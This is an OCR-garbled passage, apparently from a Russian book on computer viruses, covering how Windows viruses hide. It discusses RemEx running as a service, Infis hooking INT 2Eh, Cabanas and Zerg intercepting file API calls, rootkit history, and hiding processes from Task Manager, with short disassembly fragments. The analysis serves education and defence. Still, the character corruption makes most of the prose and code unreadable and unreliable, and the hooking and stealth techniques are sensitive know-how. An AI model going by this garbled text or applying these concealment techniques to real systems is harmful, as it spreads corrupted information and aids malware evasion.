Microsoft perniu He ©306peTaTh BEJIOCHUIIE], @ BOCIIOJIB30BATHCSI BCE TEM
ke crapbiM 100pbiM PE-dopmarom. SYS-apaiiBep MOKeT comepKaTh u
WMITIOPT, U 9KCHOPT, ¥ TOUKY BXOJIA B KOJI MHUITMAIUIAIUN. DTOT KO/ TO-
JIydaeT yrpaBJieHue B TIpoTlecce 3arpy3Ku ipaiiBepa B MaMsTh, €F0 OCHOB-
HOe Ha3HaueHue — MPU MOMOIIU cucTeMHBIX BhI30BOB «loCreateDevices
n «IoCreateSymbolicLink» pacimcars posiu oCTajbHBIX IPOLEAYP Apaii-
Bepa: KTO U3 HUX Oy/eT 00CAy:KUBATH allllapaTHbIE TPEPhIBAHNUS, KTO B3a-
WMOJIEHICTBOBATD C JPYTUMU JIpaiiBepaMu, KTO OTBeYaTh Ha 3aIPOCHI OT
porpamMM 3-T0 KOJIbIla 3aI[UThI, a 3aT€M COOOIIATh OTIEPAIIMOHHON CHCTe-
Me O CTapTYIOIIEM JipaifBepe.

Takum o6pasom, sapaskenue SY S-apaiiBepoB TPUBUAILHO (ITO JI€JIaerT,
nanpumep, supyc Win32.Kick). MHoe geo — «Ku3Hb» BUpyca 110 TIpa-
BusiaMm gpaiisepoB Windows NT. Hago npushaTh, 4to 9ta npodiema He
BCer/ia OKasblBaJach BUPycoOIUcaTe M 1o 3ybam. JlaBaiite paccMOTpUM
JIBa TIpeTeH/IeHTa Ha PoJib (hailJioBOro BUpyca-jipaiiBepa.

Bupyc Win32.RemEx (ou ;xe RemExp u «Remote Explorer»), ko-
TOPBIIL B CBOE BPeMs1 ObLIT 00BSIBJICH «IIEPBBIM HACTOSIIIMM BUPYCOM JIJIST
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Windows NT», cymectByer B Buge daiina «IE403R.SYS», paciiosoxen-
Horo B katasiore «C\WinNT\SYSTEM32\ Drivers» u 3aperucrpupoBaH-
Horo B BetBU Peectpa «HKLM\System\CurrentControlSet\Services\
Remote Explorers. Pazmep Bupyca — okoJsio 125 K6, mockoJibKy OH Halu-
can na Cu. Criermmanmctsr anTusnpycHoit kommanun Network Associates
MOICYUTAIIH, YTO 3TO coOoTBeTcTBYeT mpuMepHo 50 000 cTpoK MCXOIHOTO
koza u 200 yesmoBeko-aHell paboThl. Bripouewm, nx xoJutern us Jlaboparo-
pun Kacriepckoro BIIOJTHE CIIPaBETBO 3AMETUIIN, UYTO HA CAMOM JIeJie BU-
pyc Ha 90% coctout us cranmapTabix 6ubanorek Visual C/C++ u obire-
nocryiHoi 6ubmorexku GZIP. Co6cTBEHHOIT TPOrPaMMUCTCKON PaGOThI
B HEM JIMIIb JIeCATas 4acTh. BOUCTHHY, «He TaK CTpalleH 4epT, Kak ero
MaJIIOIOT».

Kaxk 6bI TO 111 6bLI0, HO, AM3acCeMOIMPOBAB IIPOTPAMMY, MOKHO CKOJIb
YTOJIHO JIOJITO UCKATh B €6 MHOTOMETabaliTHOM JINCTHHTE BBHI3OBBI (DYHK-
it «IoCreateDevice» u «IoCreateSymbolicLink». Mx tam mpocro Her!
Perreriie 3aragikn 0OHAPYKUBAETCS B CIEAYIONEM (hparMenTe:

00404485 mov eax, dword_41DD14 ; Apec vMeHn cepsuca

00404492 mov [ebp+ServiceStartTable.1lpServiceName], eax

00404495 lea eax, [ebptServiceStartTable] ;. Anpec Tabnnub CepBuCcOoB
00404498 mov [ebptServiceStartTable.lpServiceProc], offset loc_4044AE

0040449F push eax

004044A0 call ds:StartServiceCtriDispatcherA ; CosflaHve rnaBHOro notoka

OxasbiBaetcs, Win32.RemEx — 570 He npaiiBep, a BCero JMIIb Tak Ha-
sbiBaeMblil cepeuc (mm cayacoa) Windows NT. CepBUCHI TPEACTABIISIOT
co6oii IIporpaMMbl 3-I0 KOJIbIIAa 3alIUThI, paboTaionye B (GOHOBOM pe-
JKuMe. EJMHCTBEeHHOE MPEenMYyIecTBO BUPYCOB-CEPBUCOB 3aKJIIOYAETCS
B TOM, YTO OHH CTapTyIOT PaHblle HEKOTOPHIX KOMIIOHEHTOB OIlepally-
OHHOI CHCTEMBI M, BO3MOKHO, aHTUBUPYCOB-MOHUTOPOB. A B OCTaJIb-
HOM 3TO 00bIuHBIE IIporpaMMbl. Bupyc Win32.RemEx znaxe meiu ajs
3apaykeHUs UIIET <«I0-JIePEBEHCKI»: B GECKOHEUHOM TIMKJIE TIPH TIOMOIIN
«FindFirstFileW» u «FindNextFileW». Kakoe pasouaposanue!

Bupyc Win32.Infis.4608 — emie oauH IMPOKO pa3pekJIaMUPOBaHHbII
[IpeTeH/IeHT Ha poJib (haiiosoro Bupyca-apaiisepa aus Windows NT. On
nomeriaet cBoi daitr B kKatasmor «C\WIinNT\SYSTEM32» u perucrpu-
pyercs B BetBu Peectpa «HKLM\System\ CurrentControlSet\Services\
Inf>. Ho 1 3TOT BUPYC He SBJSETCS TOJTHOIEHHBIM JApaiiBepoM. Bor Jsuc-
TUHT KJIIOYeBOTO (hparMeHTa:

lea eax, dword_11121 ; Anpec 6ydepa
sidt gword ptr [eax] ; BuirpysuTb B 6ydep peructp IDTR
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mov eax, [eax+2]

lea edx, [eax+170h] . [lepeiTv Ha feckpunTop npepbiBaHna 2Eh
mov eax, [edx+4]

mov ax, [edx]

lea ecx, loc_T113A7+1 ; Ccbinka Ha afpecHyi 4acTb komaHab JMP
mov [ecx], eax ; Anpec cTaporo obpaboTyuka INT 2Eh

lea ecx, [edx+bA0h] ; NepeiTn Ha peckpuntop npepsiBanus O0E2h
mov [ecx], ax

shr eax, 10h

mov [ecx+6], ax

lea eax, loc_1115A . Anpec HoBoro obpaboTunka npepbiBaHng 2Eh
mov [edx], ax

shr eax, 10h

mov [edx+6], ax

Wrax, Bupyc, pabotast B 3allUIIIEHHOM PEKUME, TIOAMEHSIET B TabJIu-
e IDTR geckpurtop, coorBercTByromuii npepbiBarnio 2Eh. Crapsrii
JIECKPUTITOP TIEPEHOCUTCS B TIO3UIIMIO, COOTBETCTBYIOILYIO MTPEPbIBAHIIO
0E2h. Tng obpalieHusi K KOMIIOHEHTaM OIIePallMOHHOI crcTeMbl, pabo-
tafouM B 0-M KOJIbIle 3aluThl, BUPYC Oyzaer nosnb3oBarbes ve INT 2Eh,
aINT 0E2h. JTro60ii ske «<HOpMasbHbBIi» CHCTEMHBIN BHI30B, BBITIOJTHEHHbI
KaKOH-HUOY/Ib TIPUKJIAIHON TPOTpaMMOii, Gy/ieT 06paboTaH Mpoteaypoi,
puHaIeKaeil BUpycy. Bor aToT HOBbI 00pabOTYNK, pearupyomii
TOJIBKO Ha MOIBITKY OTKPBITHS (DAllJIOB:

;. Hosuiit 06paboTunk npepuiBaHua INT 02Eh

loc_1115A:
cmp eax, 64h ; 910 Kop NtOpenFile ?
jnz loc_113A7 ; HeT - Ha cTaHAaapTHbH 06paboTynk
pusha ;
push fs
; 30eCb NPONyWeHHbIH GparMeHT 3apaxeHns nporpamm
pop fs
popa ;
loc_113A7
db OEAh ; Kop komawgbl JMP
dw ? ; AnpecHas. . .
dw ? ;...4aCTb

Takum obpasom, Bupyc Win32.Infis.4608 nake He mbITaeTcss BCTPO-
uThcs B QailloByI0 CUCTEMY M BeCTH ce0sl KaK «HaCTOSIIMIT» J[paiiBep-
ureTp. Bo3aMOKHOCTH 3aIIMIIIEHHOTO PEsKUMA OH HCITOJIb3YeT elBa-e/1Ba
Ha 1%.
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Kcratu, y BryMmunBOro unraresiss MOKeT BOSHUKHYTh BOIIPOC: TIOYEMY
ollepalMoHHag cucTeMa 3aiyckaer Bupyc-ciay:k0y (Win32.RemEx) B
3-M KouJiblle 3aluThl, a Bupyc-apaiisep (Win32.Infis.4608) — 8 0-m? Ko-
HEYHO JKe, JIeJIO He B UMeHHU (paiiia 1 la’ke He B CTPYKTYPe ITPOrPaMMHOTO
Koja. Pazimune kpoeTcst B mapameTpax 3allycka, onpe/eyeHHbix B Peect-
pe. Paccmorpum ux Ha nipumepe Bupyca Win23.RemEx:

; BetBb HKLM\SYSTEM\CurrentContrilSet\Services\Remote Explorer
ErrorControl=1
ImagePath=%SystemRoot%\system32\drivers\ie403r.sys
ObjectName=LocalSystem

Start=2
Type=0x30

IMapamerp «ErrorControl» onucsisaer crioco6 o6paboTku omubok 3a-
TPY3KH:

O 0 — urnopuposats;

O 1 — BbIIaTH COOOIIEHNE U TPOJIOJIKUTH 3aTPY3KY;

O 2wu 3 — pa3amuHble BApUAHTBI UCTIOTB30BAHUS TTOCTEHEHN YIAuHOM

KOH(UTYpaIiy CHCTEMBI.

[Tapamerp «Start» ompezensieT crnocod 3amycka mporpaMMbI:

O 0 — 3amyckaTh SpOM Kak 4acTh CTeKa JPABEPOB;

O 1 — 3amyckaTh B IIpollecce MHUIMATU3AINY SIJIPA;

O 2 - ompenensTh crocob 3arycKa aBTOMaTHYECKHU 110 THITY;

QO 3 — 3arpy3uTh B IaMsITh, HO HE 3aITyCKATh.

Burossrit mapametp «Type» ompesiesisieT THII 3aITyCKAeMOI TTPOTPAMMBI
1 — gpaiisep ycrpoiicTBa, paboratoiiuil B 0-M KOJIbIe 3allUThI;

2 — pgpaiiBep daiinoBoii cucrembl, paboraomuii B 0-M KoJblle 3a-
IIUTBL;

4 — Habop apryMEeHTOB JIJISI aJIalITePa;

10h — cepBuc 3-ro KoJblia 3alUThI;

20h — cepBuc, pasaessoIIUil CBOII TIPOIECC ¢ APYTUMHU CEPBUCAMU.

OcrasbHbIe TApaMeTPBI IOTIOTHUTETbHBIX TOSACHEHNH He TPeGyIOT.

K 2006—-2007 rr., HaKoHeT, MOSIBUINCH BUPYChI-/IpaliBePhI, BCTPANBATO-
muecs B daitnoyio cuctemy Windows NT. CaMblii U3BECTHBIN M3 HIX —
510 Win32.Rustock.C. On MHOTOKpaTHO 3a1inpoOBaH CJIOKHBIME aJIT0-
PUTMAMU ¥ COJIEPSKUT OTPOMHOE KOJTMYECTBO «TPIOKOBY, 3aTPYIHSIONTIX
ero ucciegoBanue!. Bupycosoru n3 pazHbix KOMITAHWI aske yCTPanBaIn
Heo(UIMaTbHOE COPEBHOBAHIE — KTO TEPBBIM Pa3bepeTcsi B TOHKOCTSX
pabotsl Bupyca. ITobeana koMarga antusupyca Drweb.

00 00

! TloppobHoe omucaHue TEXHOJIOTHI 3TOTO HE COBCEM JlasKe BUPYCa, a, CKOPEIi,
«TPOSIHIIA», 3aHs1JI0 Obl B HAIIIEN KHUTE CJUIIIKOM MHOTO MECTA.
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A WDM-BupycoB (Ha MOMEHT HAIMCAHUA 3TUX CTPOK) IIPOCTO HE CY-
mectByet. U ciaBa Bory!

4.3.9. «<HeBupmoctb» Windows-Bupycos

Windows — ropaso 6ojiee 00beMHas U CI0KHAS OllepallMOHHAs CUCTEMA,
yem MS-DOS, 1 BO3MOKHOCTEN JIJIs1 COKPBITHS CBOETO TPUCYTCTBUS B CU-
cTeMe y BUPyCa O4eHb MHOTO.

Boiiee Toro, «o6MaH mnokymnareseii» — crocod CylmiecTBOBaHUSL CaMoii
Windows. B Mupe a1oii ornepaiinoHku Bce 3(heMepHO U 3bI0K0, HUKOMY U
HUYEMY HeJb3st BepUTh. [[PUKIaHbIE TIPOTPAMMBI 3arPY/KAIOTCS B <Ka-
JKYTYIOCS» TaMATh U B3AMMOJEHCTBYIOT ¢ «KaKyIIUMUCS» yCTPOHCTBA-
mu. IIpu omoru nakeros Tiuia VM Ware u Virtual PC, paGoraionux oz
Windows, MOKHO IIOCTPOUTH «KaXKYIIUNACI» KOMIIbIOTED, OT(OPMATUPO-
BaTb «Kamymnfzica» BHUHYECTEP W MHCTAJIJIMPOBATb Ha HEro BIIOJIHE pa-
6OTOCIIOCOOHDII, HO JIaske HE JIOTaJbIBAIOIIUIICS O CBOEH BUPTYAJIbHOCTH
DK3EMILISAP OlEePalMOHHON cucteMbl. 3a6aBHO ObLIO Obl 03HAKOMUTHCS
¢ GusocoCKMMI paccy;KIeHUSAMHA Pa3yMHON TIPOTPAMMBI, <«KUBYIIEH»
B TaKOM BUPTYaJIbHOM KOMIIBIOTEPE, O TOM, UYTO ITIEPBUYHO — MaTEePUA NJIN
CO3HaHUE,

Ho nososbuo nupuku. Ilepefizem K meny u mMOroBOpPUM, JAJS Hada-
Ja, 0 TepMuHOIOTHH. Kak 9T0 HU CTpaHHO, HO OHAa M3MEHUJIACh. XOTs
4ero JKe TYT CTPaHHOTO? MBI Ke HMPUBBIKJIHM, 4TO OyKBaJbHO Ha Ha-
X rjia3aX «KOHTOpa» IIpeBpaTuJiach B «OCI)I/IC», <«MYJIBTUTIJIUKAITS»>
B «aHUMAIIUIO», «JTOCKYTHOE€ IMUTbE» B «IIITUYBOPK», a «IIbJHKaA C KOJI-
Jeramu 110 paboTe» B «KOpnopatus». [[pUMEPHO TO JKe caMoe TIPOU30-
o u co «stealth-rexunosmorusimus, suakombiMu Ham 110 DOS-Bupycam
(Frodo.4096 1 ipourm). Ha pybeske BEKOB Ha CMEHY BUPYCOIUCATESIM
90-X rozoB NPUILIO HOBOE IOKOJIeHUe, obazaoniee 6ojee MUPOKUM
KPYTO30pOM U 3HAKOMOE C JPYTUMHU TPOrPAaMMHBIMU TJIaThopMamMu
(mpexxae Becero ¢ UNIX-o100HBIME OTIEPATIMOHHBIMU CUCTEMAMM ), HO
He 3HAKOMOE ¢ Pa3paboTKaMu CBOUMX MPEANIeCTBEHHUKOB. [[J1s1 0603Ha-
yeHuAa TeXHOJIOFI/II;,I, IIPU3BaHHBIX CKPbIBATH Ha KOMIIbIOTEPE aKTUBHOCTDH
BPEOHOCHBIX TIPOTPAMM, OHU TIPUBJIEKJIU HOBBIA TEPMUH — <«r0otkit-
mexnonozuu». VIsHavaibHO cioBOM «rootkit» xakepbl, crieruaniusupy-
foruecs Ha UNIX-cuctemax, HasblBaJM YyTUJIUTHI, MpeHAa3HAYEHHbIE
JUISE 3AMETaHus CJIEI0B TTPOU3BEIEHHOTO B3JI0Ma, — X OOBIYHO JePKAIN
B KOPHEBOM KaTaJioTe JIICKa, TO €CTh B rOOt-KaTaIore, a JJist UX UCTIOJIb-
30BaHMA IBITAJUCD ITOJYUYUTD IIPUBUJIETUN CYIIEPIIOJIb30BaTEJIA, TO €CTh
root-npususernn. TepMUH XOTS M HECKOJBKO M3MEHHJ CBOE 3Hade-
Hue, HOo B Mupe Windows npmkuiicst. Tak uro umeiite B Buy: «stealths
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u «rootkit> B KoHTeKCTe Hallell KHUTH — 9TO «OJU3HEIbI-6paThs», CU-
HOHWUMBIL.

Bupouewm, oTsinunst Bee-taku ectb. Eciu «stealth»-rexnonorun untepe-
COBAJIN MPEUMYIIECTBEHHO XaKePOB M BUPYCOIUCATENEH, TO ceiiuac pas-
paboTku HOBBIX «rootkit»>’oB He uypaioTcs jaxe BecbMa pecriekrabesb-
HbIE TTPOTPAMMUCTCKIE KOJIIIEKTUBBI, KOTOPbIE 3aHUMAIOTCS (MJI TOJIBKO
YTBEPIKAAIOT, YTO 3aHUMAIOTCS ) UCCIIEIOBAHUSAMU B chepe KOMITBIOTEPHOI
6esonacHocTu. Hanpumep, 10Hast, CUMIIATUYHASI U HE MEHee YMHasl TPO-
rpammucTKa [Ixxoanna Pytkoscka us Invisible Things Labs paspaGorana
1 00HapOOBaIa PsZ BHICOKOCA0KHBIX pyTknTOB (Blue Pill 1 ap.). A Bec-
Hott 2006 r. crieniaucTbl U3 yHUBEpcUTeTA MiTaTa MUudnuran OnoBeCTUIN
MHUP O BO3MOKHOCTHU CO3[[aHNsI BUPTYaabHOI Mamibl — SubVirt, koTo-
pas paboraer aganoruuno VM Ware, Ho 3aXBaThIBaeT CKPbITIA KOHTPOJIb
HaJl OllepallMOHHON CUCTEeMOU He TocJe, a o ee ycTaHOBKU. HekoTopblie
ux uzien (Ipesk/ie Beero 3aiyck rootkit-mporpaMMbr u3 3arpy304HoOro cex-
TOpa) pPeasr30BaHbl B TAKUX BPEJOHOCHBIX paszpaborkax, kak Backdoor.
Win32.Sinowal.

Wtax, 4To Ke NOJIKHBI CKpbiBaTh Windows-BUPYChl OT OAUTEIbHBIX
10JIb30BaTeJIeH U CMEPTOHOCHBIX AHTUBUPYCOB?

4.3.9.1. Mackupoexa npucymcmeus 6 ¢paiine

[Ipesksie Bcero BUPYCHI MOJIKHBI CKPBIBATH (hparMeHThl (haiijioB, CO-
JiepKaiue BUPYCcHbBIN Ko/, Eciu jke BUpPyC He BHeIpsieTCsl B KaKyIO-HU-
Oy b IPYIYIO IPOrPAMMY, a IIPEACTABIILET COOOM OTe/IbHbI ABTOHOMHDBIN
(haiin, To Bech Takoii hails 1eJUKOM UM, BO3MOXKHO, /IaKe KaTaJor, CO-
JlepsKaluii Takon aiir.

B ponu «Hempusitesneii» 1yig BUPYCOB BBICTYIIAIOT TPUKJIAIHBIE TTPO-
I'PaMMBbI, TIO3BOJISAIONIIE TPOCMATPUBATD COJIEPKUMOE KaTaJIOTOB U BHYT-
perHoctu aitios, Hanpumep [TPOBOJHUK MM KaKO-HUOYIb (haiiio-
Bbiii MeHekep Thiia FAR Manager. IIporpammbl, mpocMatpuBaioiiye
COJIEPKUMOE KATaJOTOB, OOBIYHO HCIIOJNB3YIOT CTaHIApPTHbIE (DYHKIIUU
«FindFirstFile» u «FindNextFile» n3 «KERNEL32.DLL». Buyrps (aii-
JIa OHU «3arJISIIIBIBAIOT> TOKE GECXUTPOCTHO, OTKPbIBast (hailyibl Mpu 1mo-
momu «CreateFile» n yurasg ux cogepsxkumoe npu nomorin «ReadFiles.
Mol ysKe 3HaeM, 4TO BbIIIOJIHEeHUE J11060ii (haitioBoii onepamyn B Windows
CBOJIUTCS K IVTMHHOM TIETIOYKE BHI30BOB PA3JIMYHbBIX KOMIIOHEHTOB OTiepa-
[IMOHHON CUCTEMBI, JIEKAIUX HA PA3HBIX «CJIOSIX» U «YPOBHAX». Bupyc
MOZKET BCTPOUTHCS B 9TY METMOUKY B JIIOOOM MECTE U MCKA3UTh PE3YJIBTATHI
(aiiToBoil orepanuu Tak, YTOObI MPUKJIALHAS TporpamMMa (Ui TIPUMU-
TUBHbIII aHTUBUPYC, PAOOTAOMINN B 3-M KOJIbIlE 3aIUTHI) <HE YBUJIEIA»
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ero. PaccMOTpUM HECKOJIBKO TUIUYHBIX PUMEPOB TOro, kKak Windows-
BUPYCBI IEJIAIOT 3TO.

YacTuaHO «CKpbIBaThCs» yMmea jgake Win32.Cabanas — ucropuue-
CKU TIePBbIN BUpYyc, HayuuBinuiicst xuth u B Windows 9X, u B Windows
NT. dBisisich «I1OJyPE3UAECHTHBIMY, STOT BUPYC OBLT OYEHD <«IIPOKOPJIU-
BBIM» — TOCJIE CBOEH aKTUBAIIMU OH JIOBOJBHO OBICTPO 3apaskasl JecsT-
KU U COTHU TIPOTPAMM Ha XKECTKOM JHUCKe. Bupyc samenss B tabsuiie
UMIIOPTA 3apaKeHHON IIPOrPAMMBbI ajipeca MHOTUX CHCTEMHBIX BBI30OBOB
(«CreateFile», «CreateProcess», «CopyFile», «MoveFile», «FindFirst-
File», «FindNextFile» u npoune) tak, 4To6bI OHU YKa3bIBAJIU HA €rO MPO-
nexypbl. Takum o6pasom, eciim 3apakeHHOI OKa3bIBaJIach MPOrpaMMa
«EXPLORER.EXE» (a ona 3apaxajach 0OObIMHO OZHON M3 IEPBbIX), TO
sobas orepanus, BeIOJHEeHHAS Ipy oMo [IposogHuka (cosmanue u
OTKpbITHE (hAiJIOB, MOUCK (hAIJIOB B KATAJIOraX, 3aIlyCK IIPOrPaMM | T. 11.),
OKa3bIBAJIACH [0/l KOHTPOJIEM BUPYyca. Moauduiupyst pesyasraTbl paboThl
API-dpyuxuuii «FindFirstFile» u «FindNextFile», Bupyc Win32.Cabanas
YMeHbIIAJ JTUHY 3apakeHHbIX (aiiios. [enanocs 3To IpUMepPHO TakK:

1) mosyuuB yrnpasJieHue BMECTO OJIHOM U3 9TuX (DYHKIUIL, BUPYC TIep-

BbIM J[€JIOM BBI3bIBAJI X OPUTHHAJIBI;

2) NpUHSIB OT OPUTHUHATBHBIX (DYHKIIUI CTPYKTYPY ITaMATH, 3aII0JTHEH-
HYIO CBeJIEHISIMU O HalijieHHOM (haiijie, BUPYC U3BJIEKAJ U3 Hee NMsi
aiina;

3) ecau daiin okaszbIBaJICA yKe MHPUITUPOBAHHBIM (2 TAKOBBIMU CUU-
tanuch PE-daiinbl ¢ pimHoi, kparaoii 65h), To Bupyc moauduu-
POBaJ B CTPYKTYype MaMITH I10Jie, COOTBETCTBYIOIIee [JTiHe (aiinia;

4) ynpaBJieHue BO3BPAIIaJOCh BbI3bIBAIOIIEHN IPOTPAMME.

IDPEKT «HEBUAUMOCTI» MOT OBITH MHOTOKPATHO YCHIIEH, eCJIM Obl BU-
pycal, nogo6usie Win32.Cabanas, sapaxanmu « KERNEL32.DLL» u 6pa-
1 Ha cebs 06paboTKy OCHOBHBIX (haiiIOBBIX OLEpALUil: yAALsaId BUPYC
n3 aiijza B MOMEHT ero OTKPBITHSI 1 BHOBB 3apaxkaiu ero (daiir) npu
soinosnerny «CloseHandles. ITo kpaiineit Mepe, 110 OTZ€IBHOCTH BCE 9TU
oreparuu BUPYCOMUCATENSIMU ObLIM XOPOIIIO U3yUYeHbI, /Ia U TeOpeTHye-
CKM BO3MOKHOCTH TAKOTO <«CTEJICUPOBAHUS» UMK TOXKE aKTUBHO 00CYK-
Jajnach, HO... Ho Bupyca, KOTopbIil mocTyiaa 6bl TakuM 06pa3oM, Tak 1
He MOSBUJIOCH HU B «JIMKOU IPUPOJIE», HU B KOJUIEKIUSIX BUPYCOJIOTOB.
Bor BaM ouepennoe MOATBEPKIEHNIE Te3uca, 9T0 Windows — HaCTOIbKO
OrpPOMHAst ¥ TPYAHOO003pUMAst CUCTEMA, UTO IAJIEKO He BCE €€ YTOJIKH OC-
BOEHBI JIAJKe «BE3/IeCYIIMMU» XaKePaMU 1 BUPYCOIUCATESIMI.

3aTo JI0BOJIHO aKTUBHO BUPYCOMUCATENSIMU Pa3pabaThIBAIACh UJIEsT
<«HEBUJIMMOCTU» BUPYCOB, BCTpanBaBIIMXxcs B (paityioByio cucrtemy Win-
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dows 9X. Ilpumepamu moryt cayxuth Bupychl Win9X.Zerg.3849,
Win9X.Filth.1030, Win9X.Chimera.1542, Win9X.Smash.10262, Win9X.
HPS.5124 u npoune. HauboJsiee «IpOJBUHYTHIMY SIBJISIETCS TIEPBBIN 13
HUX, BOT €ro u paccMoTpuM. Bupyc s noaydenust npusuieruii 0-ro
KOJIbIIA 3AIUThI U BCTPauBaHust B (hailJIOBYIO CUCTEMY UCTIOJIb3YeT Habop
npueMoB, usBectHbiil Ham o Win9X.CIH. Bupycubiii 06pabotunk daii-
JIOBBIX OTI€PAIUEl BBITJISIIUT CIIEAYIONIUM 0OPA30oM:

00401340: pushfd
00401341: pushad

0040134C: cmp al,00B ; 970 3akpuTve daina?

0040134E: je 0004016B4

00401354: cmp al,02C ; 910 nouck 1-ro ¢aina?
00401356: je 000401522

0040135C: cmp al, 002 ; 910 nouck cnepymouwero?
0040135E: je 000401522

00401364: cmp al, 000 ; 9710 4TeHue ¢aina?
00401366: je 000401607

0040136C: cmp al,001 ; 370 3anucb B ¢ann?
0040136E: je 0004013C8

00401370: cmp al, 024 ; 910 oTkpuTMe Qaina?
00401372: je 00040159A

00401378: cmp al, 026 ;

0040137A: je 000401487

00401380: cmp al,00A ; 910 nepewmeueHue B ¢anne?
00401382: je 00040142D

00401388: cmp al,011 ;

0040138A: je 0004013E8

00401391: popad
00401392: popfd
00401393: call 0004013A3 ; Ha opuruHanbHblit 06paboTHmMK

AHanusupyst 5T0T ()parMeHT, MOKHO 3aKJIIOUHUTD, YTO BUPYC CAMOCTOSI-
TEJLHO 00pabaThiBaeT OOJIBIIOE KOJMYECTBO (hailJIOBBIX oreparuil. ITo
eMy HYKHO JIUIST TOTO, YTOOBI He MO3BOJIUTH MPUKJIAJHBIM IIPOrPAMMaM
3-ro0 KOJIblla 3aMUTBl OOHAPY/KUTH MOCTOPOHHUE <HOBOOOPA3OBAHUS>
B 3apakKeHHBIX (haiiyax.

A BoT (haiiToBbIX BUPYCOB (HE TPOSTHCKUX ITPOTPaMM M He uepBeit!) /s
Windows NT, nocrynaiouux mogo0HbiM 00pasoM, BuauMo, Her. Curya-
1o ¢ NT-BupycaMu, IbITAIUMUCS PabOTaTh B 0-M KOJIbIIE 3AIUTEI, MBI
yoKe 00CY/IMIIN HECKOJIbKUME CTPAHUIIAME PAHEE.

4.3.9.2. Macxuposxa npucymcmeus 6 namsmu

MHOI‘II& B I1eJIAX obecrieyeHns <«HEBUJIMUMOCTM» BBITIOJTHAECTCA ITOIIBITKA
CKPBITH B IMaMATHN KOMIIBIOTEPA BBIYHUCJIUTEJIbHBIE ITPOIECCHI, COOTBETCT-
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Bylole paboTaoIuM BUpycaM. Takoe «IoBejeHne» He OUeHb XapaKTep-
HO 711 (haiiIOBBIX BUPYCOB, HO IIUPOKO UCIIOJIb3YETCS B CETEBBIX BUPYCaX
u yepBsax. TeM He MeHee TeMy «HeBUAMMOCTH» BUPYCOB B IIAMATH BCE JKe
1e/1eco00pasHoO PacCMOTPETH B 9TOII JKe IIaBe.

B nepByio ouepenb BUPYChI CTAPAIOTCS CIIPSATATHCA OT IIOJIb30BATEIS.
Ec/m He IpepuHUMAaTh HUKAKUX MACKUPYIOIIUX MEP, TO [I0JAb30BaTe b
CMOJKET YBUAETh BPEIOHOCHBIN BHIYUCIUTEIBHBIN IIPOLECC IIPH MOMOILU
«Tpex MaJbleB» — TO €CTh HaskaB oHOBpeMeHHO Kiapuii Ctrl+Alt+Del.
IIpu sTOM Ha 9KpaHe IMOABUTCS MEHIO CO CIIMCKOM aKTHBHBIX IIPOLIECCOB,
[03BOJISIOLIEE [I0JIb30BATENIIO BHIOPATh 1 «yOUTh» 000 13 HUX (HY MU
«I10YTH JII000IT» ).

a ! JapepweHue paboTw Nporpammo

BHWMAHME. MoeTopHoe HaskaTie knasuw CTRL+ALT+DEL
NPHEEAET K NEpEsarpyske KOMNEKTERa.
Boe HECORpAHEHHEIE AaHHEIE GYINT MPM 3TOM YTEPAHBL

| CHaTe sanaqy | |§aBepLuwrb patioTy | | OrrieHa

6 Jucnetuep sapau Windows M=
dafin  Oapametpel Buma  Cnpaeka
Mprnosesna | Mpoteccel |Eb|CTpDﬂeﬁcTBMe |
WA obpaza | PID | Ln | Bpema LN | MNamATe | |~
bopsvis. exe G4 on 0:00;00 4 304 KB
swchost, exe g6z0 00 :00:01 10892 KB
inetinfo.exe 1120 00 :00:01 11 11ZKEB
explorer, exe 1465 on 0:00:03 6536 KB
internat.exe 15536 00 0:00:00 1 2653 KB
taskmagr.exe 1552 on 0:00;00 1995 KE ||
-
MNpoueccos: 28 Jarpyska LiN: 0% MamMaTe: S5416K [ 471792

Puc. 4.14 < MeHepxepbl npoueccoB — TASKMAN v TASKMGR:
a) TASKMAN B Windows 9X; 6) TASKMGR B Windows NT
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B Windows 9X 3a ary omepaiuio oTBe4aeT CHUCTEMHas IporpaMma
«TASKMAN.EXE», a 8 Windows NT — «TASKMGR.EXE». urepecho,
4TO B cHUCKe 33j1a4, rnosydeHHom rpu nomotnu « TASKMAN», cama ara
nporpamMma otcyterByer. /lesno B Tom, uto 8 Windows 9X (1o He B Windows
NT!) MOKHO TPOTPAMMHO PaCKJIACCU(PUITMPOBATH BCe 3aITyIIEHHbIE 3a/1a-
M Ha <OObIYHBIE> W «cUCTeMHbIe», TpudyeM «TASKMAN» nokasbiBaer
TOJIBKO 33/1a4¥ 11epBOi rpyIiiibl. COOTBETCTBYIONINIA IPU3HAK ITPUCBAMBA-
eTcs MPOIIeCCy MPH MOMOIIY HEeIOKYMEHTUPOBAHHON CepPBUCHOM (DYyHKITUN
«RegisterServiceProcess», oburaroiieii B «KERNEL32.DLL». Ecau mpo-
rpamMMa BBITIOJIHAET IaHHYI0 (DYHKITUIO, TIepeiaB el B KauecTBe TapameTpa
3Havyenue 1, To mpoitecc aToil mporpamMMbl cye3aeT u3 crucka. Ho «moky-
MaeTcs» Ha 3TOT HAMBHBIN TPIOK TOJBKO IOJIb30BATEJIb, IIPUMEHIIONIH B
Windows 9X rporpammy « TASKMAN>. JI1060ii Zpyroii METOZ ITPOCMOTpa
CIIUCKA BBITIOJIHAIONIUXCS 33714 TaK MPOCTO 0OMaHyTh ceOst He TIO3BOJINT.

Yro e 2710 32 Metozbl? OHU OCHOBAHBI HA HETIOCPEICTBEHHOM UC-
M0JIb30BAHUYU CEPBUCHBIX (DYHKIIUIT ONEpaliMoHHOl cucteMbl. B cetn
VuTepHeT MOKHO HAiiTH HEMAJIO MAaTEpUAIOB, PACKPHIBAIOLIMX IOAPOO-
HOCTH TIOMCKA B TAMSITU PAs3JHIHbIX 00beKTOB. ECJIN pe3toMUpPOBATh BCIO
uHGoOpMaINIo, coAepKaIlyiocd B 9TUX MaTepuasax, TO TJIaBHBIH BBIBOJ
OyleT TAKOB: YHUBEPCAIBLHOTO CII0C00a, IPUTOTHOTO JIJIs TIOUCKA BBITIOJI-
HAIOIUXCA [TPOIIECCOB, HE CYIIECTBYET.

B kakoii-To Mepe Ha «yHUBEPCAILHOCTh» MOKET [IPETEHI0BATH CIIOCOD,
OCHOBAHHBIN Ha MEPEYUCIEHNN BCEX TPUCYTCTBYIONUX HA dKpaHe OKOH
(B TOM 4KCIIe U CBEPHYTHIX ) pu oMoy Gyukimyu « EnumWindows» us
«USER32.DLL». [lelicTBUTEIBHO, OH OAMHAKOBO PabOTaeT MPAKTUYECKH
BO BCEX COBPEMEHHDIX Bepcusix Windows, HO JlelaeT 3T0 OJIMHAKOBO He-
